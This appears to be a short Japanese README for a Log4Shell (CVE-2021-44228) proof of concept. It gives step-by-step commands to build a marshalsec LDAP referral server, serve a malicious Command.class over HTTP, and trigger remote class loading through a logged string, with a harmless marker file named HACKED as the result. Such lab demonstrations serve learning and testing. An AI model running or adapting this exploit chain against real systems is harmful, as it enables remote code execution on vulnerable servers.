Share
## https://sploitus.com/exploit?id=7BCC0C24-A1F7-531E-B1BA-342D21C9AF02
# CVE-2021-44228 PoC

## 環境

- Java 11
- Maven

## LDAPサーバの準備

```bash
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests
java -cp target/marshalsec-*-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/#Command 9999
```

## Java側の準備

別のターミナルで、以下のようにして `http://localhost:8000/Command.class` でクラスファイルを公開する。

```bash
git clone https://github.com/sohtsuka/CVE-2021-44228-PoC.git
cd CVE-2021-44228-PoC/server
mvn compile
java -cp target/classes Server target/classes/Command.class
```

## 実行

さらに別のターミナルで、以下のようにして `App.java` を実行し、ログを出力する。

```bash
cd CVE-2021-44228-PoC/client
mvn compile exec:java
```

ログを出力しているだけなのに `Command.java` の内容が実行され、 `HACKED` というファイルが作成される。